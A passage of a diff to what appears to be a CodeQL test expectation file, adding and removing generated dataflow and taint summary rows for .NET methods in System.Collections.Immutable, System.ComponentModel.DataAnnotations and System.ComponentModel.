System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];Argument[1];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;WithComparer;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedSet;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;get_Max;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];ReturnValue;value;dfc-generated | @@ -8447,6 +8475,7 @@ summary | System.ComponentModel.DataAnnotations.Schema;InversePropertyAttribute;InversePropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.Schema.InversePropertyAttribute.Property];value;dfc-generated | | System.ComponentModel.DataAnnotations.Schema;TableAttribute;TableAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.Schema.TableAttribute.Name];value;dfc-generated | | System.ComponentModel.DataAnnotations;AllowedValuesAttribute;AllowedValuesAttribute;(System.Object[]);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.AllowedValuesAttribute.Values];value;dfc-generated | +| System.ComponentModel.DataAnnotations;AllowedValuesAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;GetTypeDescriptor;(System.Type,System.Object);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;GetTypeDescriptor;(System.Type,System.Object);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;AssociationAttribute;(System.String,System.String,System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.Name];value;dfc-generated | @@ -8454,16 +8483,24 @@ summary | System.ComponentModel.DataAnnotations;AssociationAttribute;AssociationAttribute;(System.String,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.OtherKey];value;dfc-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_OtherKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.OtherKey];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_ThisKeyMembers;();Argument[this].Property[System.ComponentModel.DataAnnotations.AssociationAttribute.ThisKey];ReturnValue.Element;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;Base64StringAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;CompareAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];value;dfc-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;dfc-generated | +| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherProperty];Argument[this].Property[System.ComponentModel.DataAnnotations.CompareAttribute.OtherPropertyDisplayName];value;dfc-generated | +| System.ComponentModel.DataAnnotations;CreditCardAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;CustomValidationAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.CustomValidationAttribute.Method];value;dfc-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;CustomValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;DataTypeAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DataTypeAttribute.CustomDataType];value;dfc-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;GetDataTypeName;();Argument[this].Property[System.ComponentModel.DataAnnotations.DataTypeAttribute.CustomDataType];ReturnValue;value;dfc-generated | +| System.ComponentModel.DataAnnotations;DataTypeAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;DeniedValuesAttribute;DeniedValuesAttribute;(System.Object[]);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DeniedValuesAttribute.Values];value;dfc-generated | +| System.ComponentModel.DataAnnotations;DeniedValuesAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;DisplayAttribute;GetAutoGenerateField;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;DisplayAttribute;GetAutoGenerateFilter;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;DisplayAttribute;GetDescription;();Argument[this];ReturnValue;taint;df-generated | @@ -8475,8 +8512,11 @@ summary | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String,System.String,System.Boolean);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.DisplayColumnAttribute.DisplayColumn];value;dfc-generated | | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String,System.String,System.Boolean);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.DisplayColumnAttribute.SortColumn];value;dfc-generated | | System.ComponentModel.DataAnnotations;DisplayFormatAttribute;GetNullDisplayText;();Argument[this];ReturnValue;taint;df-generated | +| System.ComponentModel.DataAnnotations;EmailAddressAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;FileExtensionsAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;FileExtensionsAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;FileExtensionsAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String,System.String,System.Object[]);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.FilterUIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];value;dfc-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String,System.String,System.Object[]);Argument[1];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.FilterUIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];value;dfc-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;get_ControlParameters;();Argument[this];ReturnValue;taint;df-generated | @@ -8484,27 +8524,41 @@ summary | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;get_PresentationLayer;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.FilterUIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];ReturnValue;value;dfc-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;LengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;MaxLengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;MinLengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;PhoneAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;RangeAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Type,System.String,System.String);Argument[1];Argument[this].Property[System.ComponentModel.DataAnnotations.RangeAttribute.Minimum];value;dfc-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Type,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.DataAnnotations.RangeAttribute.Maximum];value;dfc-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.RegularExpressionAttribute.Pattern];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;RegularExpressionAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;RegularExpressionAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DataAnnotations.RegularExpressionAttribute.Pattern];value;dfc-generated | +| System.ComponentModel.DataAnnotations;RequiredAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;StringLengthAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String,System.String,System.Object[]);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];value;dfc-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String,System.String,System.Object[]);Argument[1];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];value;dfc-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;get_ControlParameters;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;get_PresentationLayer;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.PresentationLayer];ReturnValue;value;dfc-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;get_UIHint;();Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute._implementation].SyntheticField[System.ComponentModel.DataAnnotations.UIHintAttribute+UIHintImplementation.UIHint];ReturnValue;value;dfc-generated | +| System.ComponentModel.DataAnnotations;UrlAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;GetValidationResult;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);Argument[0];Argument[this];taint;df-generated | +| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.String);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.Func);Argument[0];Argument[this].SyntheticField[System.ComponentModel.DataAnnotations.ValidationAttribute._errorMessageResourceAccessor];value;dfc-generated | @@ -8667,8 +8721,12 @@ summary | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;AmbientValueAttribute;(System.Type,System.String);Argument[1];Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];value;dfc-generated | | System.ComponentModel;AmbientValueAttribute;get_Value;();Argument[this].SyntheticField[System.ComponentModel.AmbientValueAttribute._value];ReturnValue;value;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ArrayConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ArrayConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[0];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.Error];value;dfc-generated | | System.ComponentModel;AsyncCompletedEventArgs;AsyncCompletedEventArgs;(System.Exception,System.Boolean,System.Object);Argument[2];Argument[this].Property[System.ComponentModel.AsyncCompletedEventArgs.UserState];value;dfc-generated | @@ -8698,8 +8756,12 @@ summary | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;BaseNumberConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;BaseNumberConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;BindingList;ApplySort;(System.ComponentModel.PropertyDescriptor,System.ComponentModel.ListSortDirection);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;BindingList;Find;(System.ComponentModel.PropertyDescriptor,System.Object);Argument[this].Element;ReturnValue;value;manual | | System.ComponentModel;BindingList;InsertItem;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.Collections.ObjectModel.Collection`1.items].Element;value;dfc-generated | @@ -8721,11 +8783,19 @@ summary | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CharConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CharConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionChangeEventHandler;BeginInvoke;(System.Object,System.ComponentModel.CollectionChangeEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CollectionConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | | System.ComponentModel;ComplexBindingPropertiesAttribute;ComplexBindingPropertiesAttribute;(System.String,System.String);Argument[0];Argument[this].Property[System.ComponentModel.ComplexBindingPropertiesAttribute.DataSource];value;dfc-generated | @@ -8749,8 +8819,12 @@ summary | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;CultureInfoConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;CultureInfoConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetCultureName;(System.Globalization.CultureInfo);Argument[0].Property[System.Globalization.CultureInfo.Name];ReturnValue;value;dfc-generated | | System.ComponentModel;CultureInfoConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;CustomTypeDescriptor;CustomTypeDescriptor;(System.ComponentModel.ICustomTypeDescriptor);Argument[0];Argument[this].SyntheticField[System.ComponentModel.CustomTypeDescriptor._parent];value;dfc-generated | @@ -8762,20 +8836,36 @@ summary | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | 